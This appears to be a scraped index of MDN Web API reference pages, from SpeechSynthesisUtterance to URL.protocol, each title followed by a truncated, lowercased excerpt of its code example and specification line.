SpeechSynthesisUtterance.lang - Web APIs
r utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
ndler property onmark examples you can use the mark event in an addeventlistener method: utterthis.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
tribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onboundary' in that specification.
SpeechSynthesisUtterance.onend - Web APIs
tribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
options[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechSynthesisUtterance.onmark - Web APIs
edoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onmark' in that specification.
SpeechSynthesisUtterance.onpause - Web APIs
ctedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onpause' in that specification.
SpeechSynthesisUtterance.onresume - Web APIs
edoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onresume' in that specification.
SpeechSynthesisUtterance.onstart - Web APIs
edoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechSynthesisUtterance: pause event - Web APIs
e pause event in an addeventlistener method: utterthis.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.pitch - Web APIs
var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'pitch' in that specification.
SpeechSynthesisUtterance.rate - Web APIs
var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'rate' in that specification.
SpeechSynthesisUtterance: resume event - Web APIs
me event in an addeventlistener method: utterthis.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: start event - Web APIs
art event in an addeventlistener method: utterthis.addeventlistener('start', function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); }); or use the onstart event handler property: utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.text - Web APIs
tterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'text' in that specification.
SpeechSynthesisUtterance.voice - Web APIs
vent.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'voice' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisUtterance - Web APIs
on.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
SpeechSynthesisVoice.default - Web APIs
gth ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
SpeechSynthesisVoice.lang - Web APIs
gth ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
ateelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localservice' in that specification.
SpeechSynthesisVoice.name - Web APIs
gth ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
oices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
SpeechSynthesisVoice - Web APIs
his.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
StaticRange.StaticRange() - Web APIs
specifications specification status comment domthe definition of 'staticrange()' in that specification.
StaticRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
StaticRange.endContainer - Web APIs
specifications specification status comment domthe definition of 'endcontainer' in that specification.
StaticRange.endOffset - Web APIs
specifications specification status comment domthe definition of 'endoffset' in that specification.
StaticRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
StaticRange.startOffset - Web APIs
specifications specification status comment domthe definition of 'startoffset' in that specification.
StaticRange.toRange() - Web APIs
specifications specification status comment static rangethe definition of 'torange()' in that specification.
StaticRange - Web APIs
specifications specification status comment domthe definition of 'staticrange' in that specification.
StereoPannerNode.StereoPannerNode() - Web APIs
specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification.
StereoPannerNode.pan - Web APIs
pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'pan' in that specification.
StereoPannerNode - Web APIs
pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'stereopannernode' in that specification.
Storage.clear() - Web APIs
WebAPIStorageclear
specifications specification status comment html living standardthe definition of 'storage.clear' in that specification.
Storage.getItem() - Web APIs
WebAPIStoragegetItem
specifications specification status comment html living standardthe definition of 'storage.getitem' in that specification.
Storage.key() - Web APIs
WebAPIStoragekey
specifications specification status comment html living standardthe definition of 'storage.key' in that specification.
Storage.length - Web APIs
WebAPIStoragelength
specifications specification status comment html living standardthe definition of 'storage.length' in that specification.
Storage.removeItem() - Web APIs
specifications specification status comment html living standardthe definition of 'storage.removeitem' in that specification.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
specifications specification status comment html living standardthe definition of 'storage.setitem' in that specification.
Storage - Web APIs
WebAPIStorage
specifications specification status comment html living standardthe definition of 'storage' in that specification.
StorageEstimate.quota - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
StorageEstimate.usage - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
StorageEstimate - Web APIs
specifications specification status comment storagethe definition of 'storageestimate' in that specification.
StorageEvent - Web APIs
specifications specification statuc comment html living standardthe definition of 'the storageevent interface' in that specification.
StorageManager.estimate() - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
StorageManager.persist() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification.
StorageManager.persisted() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification.
StorageManager - Web APIs
specifications specification status comment storagethe definition of 'storagemanger' in that specification.
StorageQuota.queryInfo - Web APIs
specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification.
StorageQuota.requestPersistentQuota - Web APIs
specifications specification status comment quota management apithe definition of 'requestpersistentquota()' in that specification.
StorageQuota.supportedTypes - Web APIs
specifications specification status comment quota management apithe definition of 'supportedtypes' in that specification.
StorageQuota - Web APIs
specifications specification status comment quota management apithe definition of 'storagequota' in that specification.
Using the Storage Access API - Web APIs
we’ll briefly look at a common storage access scenario.
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer.
StylePropertyMap.append() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'append()' in that specification.
StylePropertyMap.clear() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'clear()' in that specification.
StylePropertyMap.delete() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'delete()' in that specification.
StylePropertyMap.set() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'set()' in that specification.
StylePropertyMap - Web APIs
specifications specification status comment css typed om level 1the definition of 'stylepropertymap' in that specification.
StylePropertyMapReadOnly.entries() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'entries()' in that specification.
StylePropertyMapReadOnly.forEach() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
StylePropertyMapReadOnly.get() - Web APIs
ties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(ofinterest[i])); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode( stylemap.get(ofinterest[i]))); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'get()' in that specification.
StylePropertyMapReadOnly.getAll() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'getall()' in that specification.
StylePropertyMapReadOnly.has() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'has()' in that specification.
StylePropertyMapReadOnly.keys() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'keys()' in that specification.
StylePropertyMapReadOnly.size - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'size' in that specification.
StylePropertyMapReadOnly.values() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'values()' in that specification.
StylePropertyMapReadOnly - Web APIs
op, val] of stylepropertymap) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'stylepropertymapreadonly' in that specification.
StyleSheet.disabled - Web APIs
} specification specification status comment css object model (cssom)the definition of 'stylesheet.disabled' in that specification.
Stylesheet.href - Web APIs
WebAPIStyleSheethref
specifications specification status comment css object model (cssom)the definition of 'stylesheet: href' in that specification.
StyleSheet.media - Web APIs
WebAPIStyleSheetmedia
eetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </body> </html> specifications specification status comment css object model (cssom)the definition of 'stylesheet: media' in that specification.
StyleSheet.ownerNode - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet: ownernode' in that specification.
StyleSheet.parentStyleSheet - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet: parentstylesheet' in that specification.
StyleSheet.title - Web APIs
WebAPIStyleSheettitle
specifications specification status comment css object model (cssom)the definition of 'stylesheet: title' in that specification.
StyleSheet.type - Web APIs
WebAPIStyleSheettype
syntax string = stylesheet.type example mystylesheet.type = 'text/css'; specifications specification status comment css object model (cssom)the definition of 'stylesheet: type' in that specification.
StyleSheet - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet' in that specification.
StyleSheetList - Web APIs
ignoring...', stylesheet.href); } }) .filter(boolean) .join('\n'); specifications specification status comment css object model (cssom)the definition of 'cssstylesheetlist' in that specification.
SubmitEvent() - Web APIs
specifications specification status comment html living standardthe definition of 'submitevent()' in that specification.
SubmitEvent.submitter - Web APIs
specifications specification status comment html living standardthe definition of 'submitevent.submitter' in that specification.
SubmitEvent - Web APIs
specifications specification status comment html living standardthe definition of 'submitevent' in that specification.
SyncEvent.tag - Web APIs
WebAPISyncEventtag
specifications specification status comment web background synchronizationthe definition of 'tag' in that specification.
SyncManager - Web APIs
specifications specification status comment web background synchronizationthe definition of 'syncmanager' in that specification.
TaskAttributionTiming.containerId - Web APIs
specifications specification status comment long tasks api 1the definition of 'containerid' in that specification.
TaskAttributionTiming.containerName - Web APIs
specifications specification status comment long tasks api 1the definition of 'containername' in that specification.
TaskAttributionTiming.containerSrc - Web APIs
specifications specification status comment long tasks api 1the definition of 'containersrc' in that specification.
TaskAttributionTiming.containerType - Web APIs
specifications specification status comment long tasks api 1the definition of 'containertype' in that specification.
TaskAttributionTiming - Web APIs
specifications specification status comment long tasks api 1the definition of 'taskattributiontiming' in that specification.
Text() - Web APIs
WebAPITextText
syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
specifications specification status comment domthe definition of 'assignedslot' in that specification.
Text.replaceWholeText() - Web APIs
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'text' in that specification.
Text.wholeText - Web APIs
WebAPITextwholeText
specifications specification status comment domthe definition of 'text.wholetext' in that specification.
Text - Web APIs
WebAPIText
specifications specification status comment domthe definition of 'text' in that specification.
TextDecoder() - Web APIs
specifications specification status comment encodingthe definition of 'textdecoder()' in that specification.
TextDecoder.prototype.decode() - Web APIs
an></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment encodingthe definition of 'textdecoder.decode()' in that specification.
TextDecoder - Web APIs
specifications specification status comment encodingthe definition of 'textdecoder' in that specification.
TextEncoder() - Web APIs
specifications specification status comment encodingthe definition of 'textencoder()' in that specification.
TextEncoder.prototype.encode() - Web APIs
urce">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification.
TextEncoder.prototype.encodeInto() - Web APIs
this : self : global); source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder.encode()' in that specification.
TextEncoder.encoding - Web APIs
syntax b = encoder.encoding; specifications specification status comment encodingthe definition of 'textencoder.encoding' in that specification.
TextEncoder - Web APIs
return"utf-8"; else throw typeerror("illegal invocation");} }); } catch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder' in that specification.
TextTrack.mode - Web APIs
WebAPITextTrackmode
window.addeventlistener("load", event => { let trackelem = document.queryselector("track"); let track = trackelem.track; track.mode = "showing"; for (let index=0; index < track.cues.length; index++) { let cue = track.cues[index]; cue.pauseonexit = true; }; }); specifications specification status comment html living standardthe definition of 'mode' in that specification.
TextTrack - Web APIs
WebAPITextTrack
example tbd specifications specification status comment html living standardthe definition of 'texttrack' in that specification.
getTrackById() - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist.gettrackbyid()' in that specification.
TextTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist: length' in that specification.
TextTrackList.onaddtrack - Web APIs
document.queryselector("video").texttracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'texttracklist: onaddtrack' in that specification.
TextTrackList.onchange - Web APIs
/* do something */ }; specifications specification status comment html living standardthe definition of 'texttracklist: onchange' in that specification.
TextTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'texttracklist: onremovetrack' in that specification.
TextTrackList - Web APIs
texttracks.onaddtrack = updatetrackcount; texttracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = texttracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'textracklist' in that specification.
TimeRanges.end() - Web APIs
WebAPITimeRangesend
specifications specification status comment html living standardthe definition of 'timeranges.end()' in that specification.
TimeRanges.length - Web APIs
WebAPITimeRangeslength
specifications specification status comment html living standardthe definition of 'timeranges.length()' in that specification.
TimeRanges.start() - Web APIs
WebAPITimeRangesstart
specifications specification status comment html living standardthe definition of 'timeranges.start()' in that specification.
TimeRanges - Web APIs
specifications specification status comment html living standardthe definition of 'timeranges' in that specification.
Touch() - Web APIs
WebAPITouchTouch
specifications specification status comment touch events – level 2the definition of 'touchevent' in that specification.
Touch.force - Web APIs
WebAPITouchforce
console.log("targettouches[" + i + "].force = " + e.targettouches[i].force); } }, false); specifications specification status comment touch events – level 2 draft initial definition.
TouchList.identifiedTouch() - Web APIs
it is recommended that you use touchlist.item() instead.
Multi-touch interaction - Web APIs
however, the interfaces can be a bit tricky for programmers to use because touch events are very different from other dom input events, such as mouse events.
Supporting both TouchEvent and MouseEvent - Web APIs
start zero or more touchmove events, depending on movement of the finger(s) touchend mousemove mousedown mouseup click if the touchstart, touchmove or touchend event is canceled during an interaction, no mouse or click events will be fired, and the resulting sequence of events would just be: touchstart zero or more touchmove events, depending on movement of the finger(s) touchend community touch events community group mail list w3c #touchevents irc channel related topics and resources touch events overview using touch events touch and mouse (together again for the first time) ...
TransformStream - Web APIs
specifications specification status comment streamsthe definition of 'transformstream' in that specification.
TransitionEvent() - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionevent()' in that specification.
TransitionEvent.transitionName - Web APIs
syntax name = transitionevent.transitionname specifications specification status comment css transitionsthe definition of 'transitionevent.transitionname' in that specification.
TransitionEvent.elapsedTime - Web APIs
syntax name = transitionevent.elapsedtime specifications specification status comment css transitionsthe definition of 'transitionevent.elapsedtime' in that specification.
TransitionEvent.pseudoElement - Web APIs
syntax name = transitionevent.pseudoelement specifications specification status comment css transitionsthe definition of 'transitionevent.pseudoelement' in that specification.
TransitionEvent - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionevent' in that specification.
TreeWalker.currentNode - Web APIs
specifications specification status comment domthe definition of 'treewalker.currrentnode' in that specification.
TreeWalker.filter - Web APIs
WebAPITreeWalkerfilter
syntax nodefilter = treewalker.filter; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = treewalker.filter; // document.body in this case specifications specification status comment domthe definition of 'treewalker.filter' in that specification.
TreeWalker.firstChild() - Web APIs
syntax node = treewalker.firstchild; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.firstchild(); // returns the first child of the root element, or null if none specifications specification status comment domthe definition of 'treewalker.firstchild' in that specification.
TreeWalker.lastChild() - Web APIs
syntax node = treewalker.lastchild(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.lastchild(); // returns the last visible child of the root element specifications specification status comment domthe definition of 'treewalker.lastchild' in that specification.
TreeWalker.nextNode() - Web APIs
syntax node = treewalker.nextnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.nextnode(); // returns the first child of root, as it is the next node in document order specifications specification status comment domthe definition of 'treewalker.nextnode' in that specification.
TreeWalker.nextSibling() - Web APIs
walker.nextsibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); treewalker.firstchild(); var node = treewalker.nextsibling(); // returns null if the first child of the root element has no sibling specifications specification status comment domthe definition of 'treewalker.nextsibling' in that specification.
TreeWalker.parentNode() - Web APIs
syntax node = treewalker.parentnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.parentnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.parentnode' in that specification.
TreeWalker.previousNode() - Web APIs
syntax node = treewalker.previousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.previousnode' in that specification.
TreeWalker.previousSibling() - Web APIs
syntax node = treewalker.previoussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previoussibling(); // returns null as there is no previous sibiling specifications specification status comment domthe definition of 'treewalker.previoussibling' in that specification.
TreeWalker.root - Web APIs
WebAPITreeWalkerroot
syntax root = treewalker.root; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = treewalker.root; // document.body in this case specifications specification status comment domthe definition of 'treewalker.root' in that specification.
TypeInfo - Web APIs
WebAPITypeInfo
constants constant value derivation_restriction 1 derivation_extension 2 derivation_union 4 derivation_list 8 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'typeinfo' in that specification.
UIEvent() - Web APIs
WebAPIUIEventUIEvent
specifications specification status comment inputdevicecapabilities draft added sourcecapabilities property.
UIEvent.detail - Web APIs
WebAPIUIEventdetail
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.detail' in that specification.
UIEvent.initUIEvent() - Web APIs
example var e = document.createevent("uievent"); // creates a click event that bubbles, can be cancelled, // and with its view and detail property initialized to window and 1, // respectively e.inituievent("click", true, true, window, 1); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.inituievent()' in that specification.
sourceCapabilities - Web APIs
specifications specification status comment inputdevicecapabilitiesthe definition of 'sourcecapabilities' in that specification.
UIEvent.view - Web APIs
WebAPIUIEventview
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent' in that specification.
UIEvent - Web APIs
WebAPIUIEvent
specifications specification status comment inputdevicecapabilities draft added sourcecapabilities property.
URL() - Web APIs
WebAPIURLURL
// raises a typeerror exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example.com/' new url("//foo.com", "https://example.com") // => 'https://foo.com' (see relative urls) specification specification status comment urlthe definition of 'url.url()' in that specification.
URL.hash - Web APIs
WebAPIURLhash
examples const url = new url('/docs/web/api/url/href#examples'); console.log(url.hash); // logs: '#examples' specifications specification status comment urlthe definition of 'url.hash' in that specification.
URL.host - Web APIs
WebAPIURLhost
ozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification.
URL.hostname - Web APIs
WebAPIURLhostname
examples const url = new url('/docs/web/api/url/hostname'); console.log(url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment urlthe definition of 'url.hostname' in that specification.
URL.href - Web APIs
WebAPIURLhref
examples const url = new url('/docs/web/api/url/href'); console.log(url.href); // logs: '/docs/web/api/url/href' specifications specification status comment urlthe definition of 'url.href' in that specification.
URL.origin - Web APIs
WebAPIURLorigin
examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
URL.password - Web APIs
WebAPIURLpassword
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
URL.pathname - Web APIs
WebAPIURLpathname
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.pathname - Web APIs
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.port - Web APIs
WebAPIURLport
examples const url = new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification.
URL.protocol - Web APIs
WebAPIURLprotocol
examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
